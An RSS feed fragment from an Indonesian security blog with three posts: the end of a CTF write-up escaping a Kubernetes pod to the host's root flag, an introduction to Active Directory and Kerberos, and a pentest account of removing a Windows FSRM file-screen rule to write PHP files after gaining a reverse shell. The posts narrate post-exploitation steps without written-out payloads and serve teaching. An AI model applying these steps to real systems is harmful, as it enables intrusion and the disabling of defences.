<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="742" height="296" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png" alt="" class="wp-image-578" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png 742w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17-300x120.png 300w" sizes="auto, (max-width: 742px) 100vw, 742px" /></figure>



<p>Gambar diatas kita melakukan create pods baru melalui file yaml yang kita buat kemudian kita melihat pods ada 3 dengan salah satu namanya yaitu &#8220;privesc&#8221;, yang mengindikasikan jika kita berhasil membuat pods baru, langkah selanjutnya kita exec dan masuk pada pods privesc dan cek directory /tmp/main-host/</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png" alt="" class="wp-image-579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18.png 1106w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada directory main-host jika kita ls maka akan menampilkan filesystem dari main host yang dimana sesuai dari petunjuk challenge jika flag berada pada directory /root/root.txt</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1018" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png" alt="" class="wp-image-580" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png 1018w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-768x356.png 768w" sizes="auto, (max-width: 1018px) 100vw, 1018px" /></figure>



<p>Dan kita berhasil mendapatkan root flag <strong><em>bhitech{m3m4nG_b3N3R4N_h4ck3r_buk4N_ScRiPt_Kidd13S}</em></strong></p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>Kita berhasil menyelesaikan challenge dan mendapatkan root flag, disini kita bisa mengambil kesimpulan jika sesuatu yang kelihatan sepele seperti exploit OJS dengan melakukan lateral movement yang tepat bisa compromise atau takeover system sepenuhnya dan bayangkan saja jika terjadi di real world pada machine production maka akan sangat fatal sekali. Disini Bhineka Tech juga memberikan edukasi terkait OJS ini dan sekaligus mengangkat tema peretasan yang terkait dengan judi online karena banyak sekali platform dan website indonesia ini yang masih rentan tersusupi landing page dan backlink perjudian, semoga menambah insight dan memberikan awareness kepada peggiat di bidang ini khususnya cybersecurity.</p>



<p><em>&#8220;Jangan pernah menganggap belajar sebagai tugas, tetapi anggaplah sebagai kesempatan berharga untuk mempelajari sesuatu.&#8221;</em> &#8211; <strong>Albert Einstein</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kenalan dengan Active Directory</title>
		<link>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/</link>
					<comments>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Thu, 09 Jan 2025 08:09:03 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=494</guid>

					<description><![CDATA[<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory. Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory.</p>



<p>Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada yang udah tau atau ada yang masih asing mendengar istilah Active Directory jadi daripada bingung ayo kita bahas</p>



<p>Active Directory ini bisa dikatakan suatu service berbasis direktori yang digunakan untuk mengelola resource dan infrastruktur dengan cara yang terstruktur. Maka dari itu Active Directory ini banyak di implementasikan pada perusahaan ataupun organisasi yang memiliki banyak komputer dan sumber daya karena menggunakan Active Directory ini memudahkan Administrator melakukan management maupun konfigurasi dengan cara terpusat/centralized.</p>



<p>Dalam Active Directory semua resource/sumber daya direpresentasikan menjadi suatu object dan object ini mencakup server, printer, komputer, domain, group dan user account. semua object ini akan dikelola oleh ADDS(Active Directory Domain Service) yang merupakan inti dari Active Directory itu sendiri. <em><strong>ADDS </strong></em>ini merupakan server yang mengatur semua konfigurasi dan rule/aturan resource pada jaringan didalam <em><strong>AD</strong></em> seperti keamanan, policy, permission dsb.</p>



<p>Lalu ada yang namanya <strong><em>Domain Controller</em></strong> yaitu merupakan server fisik atau computer yang menjalankan  service Active Directory, dengan kata lain <em><strong>Domain Controller</strong></em> ini bisa berupa hardware(server fisik) maupun virtual machine.</p>



<p>Dan tidak kalah pentingnya, pada active directory terdapat 2 konsep untuk identifikasi <em><strong>yaitu </strong></em>SPN dan <em><strong>UPN</strong></em>, gampangnya UPN itu merupakan identitas unik pada user dalam active directory yang berguna untuk mengenali dan identifikasi user contohnya &lt;username>@&lt;domain> atau xpl0dec@bhitech.corp sementara itu SPN digunakan untuk mengenali service / layanan pada Active Directory yang menggunakan kerberos(akan kita bahas nanti) dengan contoh &lt;service>/&lt;hostname>:&lt;port> atau MSSQL/bhitech:1433 disini kita mencontohkan dengan DB mssql dengan hostname bhitech di port 1433</p>



<p class="has-large-font-size"><strong>Cara Kerja Active Directory</strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="691" height="481" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg" alt="" class="wp-image-499" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg 691w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad-300x209.jpg 300w" sizes="auto, (max-width: 691px) 100vw, 691px" /></figure>



<p>Dalam Active Directory untuk mengatur object object di dalamnya terdapat struktrur hierarki dimana struktur hierarki ini mencakup komponen penting diantarannya:</p>



<p><em><strong>Domain</strong></em> : Direpresentasikan sama dengan domain name yang ada pada internet dengan menggunakan .(titik) seperti abc.com, bhitech.corp tetapi pengertian lebih luasnya domain ini digunakan untuk mengelompokkan object pada Active Directory, seperti yang kita bahas sebelumnya object itu mencakup user, group, printer, computer dan sumber daya lain</p>



<p><strong>Organizational units</strong>(OUs) : OUs ini cukup kompleks karena digunakan untuk mengatur dan mengelola object object pada Active Directory, sebagai contoh sederhana pada sebuah perusahaan pastinya memiliki banyak departement dan kita ambil 2 sebagai contoh yaitu marketing dan IT jadi fungsi OUs ini akan membagi hak akses dimana setiap departement akan diberikan OU misalkan OU marketing hanya diberikan akses untuk mengelola ke service yang menyediakan penjualan dan pembelian sementara OU IT diberikan mengelola akses ke server maupun <strong><em>Domain Controller</em></strong></p>



<p><em><strong>Forest</strong></em> :  Forest ini merupakan gabungan dari satu atau lebih domain dan domain bisa saling terhubung dan berbagi resource seperti pada gambar diatas yaitu abc.com bisa sharing directory dengan xyz.com begitupun sebaliknya</p>



<p><strong><em>Tree</em></strong> : Pada gambar diatas tree bisa kita sebut sebagai subdomain yaitu hierarki domain yang menggunakan namespace yang sama seperti abc.com yang memiliki tree asia.abc.com</p>



<p><strong><em>Group Policy Objects (GPOs)</em></strong> : Merupakan suatu aturan pada active directory yang diberikan kepada user sebagai contoh kita bisa memaksa user mengganti password sebulan sekali atau password user harus lebih dari 8 karakter menggunakan <em><strong>GPOs</strong></em></p>



<p><strong><em>Global Catalog</em></strong> : Secara sederhana sebuah database yang menyimpan semua informasi terkait domain pada suatu forest</p>



<p><strong><em>Trust Relationship</em></strong> : Dimana kita ingin menghubungkan atau berbagi resource lintas domain dari forest yang berbeda</p>



<p class="has-large-font-size"><strong><em>Protokol dan Authentication</em></strong></p>



<p>Active Directory menggunakan banyak protocol untuk keperluan fungsionalitas, authentication maupun authorization diantara lain ada LDAP, SMB, RPC, kerberos. Dan disini untuk keperluan pentesting kita akan membahas beberapa protokol yang perlu kalian diketahui</p>



<p><em><strong>LDAP</strong></em>: LDAP(Lightweight Directory Access Protocol) sendiri merupakan suatu protokol yang dipakai untuk mengakses dan mengelola data pada active directory </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png" alt="" class="wp-image-501" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-768x384.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work.png 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi saat user atau service akan berkomunikasi dengan Active Directory user tersebut perlu melakukan serangkaian query pada LDAP protocol yang didalam LDAP sendiri terdapat banyak informasi mengenai object yang disimpan oleh Active Directory dan dapat kita akses menggunakan LDAP query. LDAP menggunakan TCP connection dan port defaultnya yaitu <strong>389</strong> dan <strong>636</strong>(dengan tambahan SSL/TLS)  </p>



<p><strong><em>SMB</em></strong> : Protocol smb digunakan untuk berbagi data dan file antar server pada jaringan, jadi menggunakan SMB kita bisa sharing directory yang berguna agar server lain dapat mendownload/upload pada server yang menjalankan SMB dan port default SMB ada di 445 </p>



<p><strong>RPC</strong> : RPC atau Remote Procedure Call yang berfungsi untuk komunikasi antar object di jaringan yang pada Active Directory RPC berguna untuk meminta suatu layanan ke layanan pada server lain dalam domain. Secara konsep hampir mirip dengan REST API tapi dengan arsitektur yang berbeda yakni dalam RPC kita bisa melakukan fungsi pada server lain yang seolah olah bersifat local</p>



<p><em><strong>NTLM</strong></em> :  Windows New Technology LAN Manager merupakan suatu protokol yang digunakan untuk authentikasi pada operating system windows, dan sebenarnya NTLM ini protokol lama yang sekarang sudah digantikan oleh kerberos karena dianggap sudah usang dan memiliki masalah security tapi meskipun itu masih banyak digunakan hingga sekarang</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="887" height="608" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png" alt="" class="wp-image-502" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png 887w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-300x206.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-768x526.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>



<p>Cara kerjanya cukup sederhana yang disebut <em><strong>Challenge-Response</strong></em> yaitu pertama client meminta authentikasi ke server dan jika authentikasi valid maka server melakukan response &#8220;challenge&#8221; berupa nonce(angka acak) yang kemudian dikirimkan kembali pada client lalu client me-response dengan hash dari challenge yang diberikan server serta di gabungkan dengan hash password dari client</p>



<p><em><strong>Kerberos</strong></em>: Kerberos sekarang ini sudah menjadi protocol authentikasi default pada Active Directory dan pada mekanismenya sendiri juga lebih kompleks</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="632" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg" alt="" class="wp-image-503" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-300x185.jpg 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-768x474.jpg 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1536x947.jpg 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-2048x1263.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita perlu mengerti beberapa istilah untuk memahami komunikasi kerberos pada gambar diatas yaitu terkait dengan ticketing yang sangat penting kita pahami sebagai pentester, beberapa istilah terkait:</p>



<p><strong><em>KDC</em></strong>(Key Distribution Center) : Merupakan komponen penting pada protocol kerberos yaitu bertindak sebagai service pihak ketiga yang terpercaya(trusted)</p>



<p><em><strong>AS(<strong>Authentication service</strong>)</strong></em> : Yaitu suatu layanan / service yang memvalidasi authentikasi client pada kerberos</p>



<p><em><strong>TGT</strong></em>(Ticket Granting Ticket) : Merupakan ticket yang dikeluarkan oleh kerberos jika authentikasi awal berhasil </p>



<p><em><strong>TGS</strong></em>(Ticket Granting Server) : Merupakan komponen pada authentikasi kerberos yang berfungsi mengeluarkan ticket untuk mengakses layanan tertentu</p>



<p>Setelah kita tau istilah-istilah penting pada kerberos sekarang kita bahas mekanisme protocolnya</p>



<ol class="wp-block-list">
<li>Client melakukan authentikasi kerberos dan meminta TGT ke AS</li>



<li>Jika valid maka AS akan menerbitkan TGT dan TGT diberikan pada client</li>



<li>Lalu client kembali melakukan request ST(Service Ticket) pada kerberos TGS dengan membawa TGT </li>



<li>jika TGT valid maka TGS akan memberikan ST pada client</li>



<li>ST(Service Ticket) ini kemudian dipakai untuk akses ke service tertentu pada active directory seperti file server, email dsb</li>
</ol>



<p class="has-large-font-size"><strong><em>Penutup</em></strong></p>



<p>Disini kita sudah belajar mengenai konsep Active Directory dan berguna untuk keperluan pentesting yang mungkin akan aku bahas pada artikel selanjutnya, dan yang perlu ditekankan disini yaitu memiliki fundamental tentang system atau arsitektur itu sangat penting sebelum kita melangkah ke sisi security dan keamanan apalagi topik yang kompleks seperti Active Directory ini jadi semoga saja artikel ini dapat mudah dipahami tentunya semoga bermanfaat juga dan happy hacking, sekian.</p>



<p><em>&#8220;Learning never exhausts the mind.&#8221;</em> <strong>-Leonardo da Vinci</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal cFSRM pada windows untuk menyulitkan heker</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 11:26:38 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=328</guid>

					<description><![CDATA[<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="628" height="211" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png" alt="" class="wp-image-330" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png 628w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131-300x101.png 300w" sizes="auto, (max-width: 628px) 100vw, 628px" /></figure>



<p>Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena disini mendapatkan privilege sebagai administrator mudah saja untuk mengubah permission pada directory</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="574" height="197" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png" alt="" class="wp-image-331" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png 574w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228-300x103.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>Melakukan reverse shell connection dan melihat permission directory sempat bingung karena tidak ada pembatasan permission pada directory <em><strong>xampp</strong></em> di satu sisi untuk file dengan extenstion lain yang tidak berbahaya seperti .txt, .jpg dan semacamnya itu bisa dilakukan write</p>



<p>Berfikir sejenak dan terfikir menjalankan nmap untuk melihat service yang running.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="599" height="165" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png" alt="" class="wp-image-332" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png 599w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634-300x83.png 300w" sizes="auto, (max-width: 599px) 100vw, 599px" /></figure>



<p>Hoki sekali port 3389 RDP terbuka, karena kebanyakan windows server semacam ini menggunakan relay untuk menerima request yang masuk dari public network dan jarang sekali melakukan port forwarding 3389 melalui relay yang dijadikan reverse proxy</p>



<p>Langsung saja login RDP, karena privilege yang didapatkan yakni Administrator kita dengan mudah bisa membuat user baru menggunakan command <em><strong>net user</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png" alt="" class="wp-image-333" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-768x441.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>oke masuk, hal pertama yang ku lakukan yaitu langsung membuka console powershell dengan hak Administrator dan mencoba untuk masuk pada system account melalui <strong><em>PsExec</em></strong>. <strong><em>NT/SYTEM</em></strong> itu merupakan permission tertinggi pada windwos</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="493" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png" alt="" class="wp-image-334" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png 493w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559-300x151.png 300w" sizes="auto, (max-width: 493px) 100vw, 493px" /></figure>



<p>Terlihat jika pada directory <em><strong>C:\inetpub </strong></em>kita bisa execute dan write .exe file</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="278" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png" alt="" class="wp-image-335" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927-300x137.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Wah tetap saja padahal disini kita sudah memakai system account dan juga owner directory itu milik system, ada yang ga beres sepertinya </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="250" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png" alt="" class="wp-image-336" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-768x230.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Program yang terinstall juga sangat sedikit yang hanya dipakai keperluan deployment dan tidak menunjukkan adanya antivirus third-party software </p>



<p>Dan disini aku langsung coba cek dari event log pada windows untuk identifikasi lebih lanjut</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="722" height="312" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png" alt="" class="wp-image-337" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png 722w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-720x312.png 720w" sizes="auto, (max-width: 722px) 100vw, 722px" /></figure>



<p>Indikasi dari event log application terdapat warning dengan deskripsi<em> file group which is not permitted on the system.</em> dan pada bagian source yang berasal dari service <strong><em>SRMSVC</em></strong></p>



<p><strong><em>SRMSVC</em></strong> itu merupakan source event log yang berasal dari <em><strong>FSRM</strong></em>(File Server Resource Manager), FSRM sendiri dipakai untuk management filesystem pada windows server. sekarang kita lihat konfigurasi registry dari SRMSVC pada path <em><strong>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srmsvc</strong></em>\</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1013" height="514" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png" alt="" class="wp-image-339" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png 1013w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-768x390.png 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></figure>



<p>Tidak ada konfigurasi khusus yang terdapat pada hive registry <strong><em>SRMSVC</em></strong> dan disini sempat stuck sedikit dan lalu ingat jika <strong><em>SRMSVC</em></strong> merupakan source log pada <em><strong>FSRM</strong></em> yang harusnya konfigurasi terletak pada service <em><strong>FSRM</strong></em> itu sendiri</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png" alt="" class="wp-image-342" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png 831w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-768x506.png 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>Jika di lihat dari basic setting <em><strong>FSRM</strong></em>  tidak ada rules khusus tapi jika kita lihat pada konfigurasi file screen dengan command <em>Get-FsrmFileScreen</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="494" height="199" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png" alt="" class="wp-image-343" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png 494w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951-300x121.png 300w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>



<p>ya itu dia, jadi disini ada rule khusus untuk ignore atau menolak file berbahaya dengan keterangan <strong><em>Block Executable Files</em></strong> jadi disini bisa langsung saja dilakukan disable maupun remove atau kita juga bisa melihat rule FSRM ini pada server manager</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="356" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png" alt="" class="wp-image-344" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-300x104.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-768x267.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>Disini langsung ku lakukan remove rule menggunakan powershell</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="704" height="152" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png" alt="" class="wp-image-345" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png 704w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613-300x65.png 300w" sizes="auto, (max-width: 704px) 100vw, 704px" /></figure>



<p>Setelah itu lalu kita coba write .php file pada directory xampp </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="708" height="202" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png" alt="" class="wp-image-346" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png 708w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738-300x86.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>Dan itu berhasil, terlihat disini tidak ada error dan kita bisa menulis suatu php file pada directory. Mungkin cukup disini cerita singkat ku pada saat melakukan pentesting dan disini aku hanya sekedar sharing yang mungkin berguna saat kalian mengalami hal yang sama, sekian happy hacking guyss <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em><strong>“Tidak ada yang akan berhasil kecuali kau melakukannya.”</strong></em> <em>-Maya Angelou</em></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
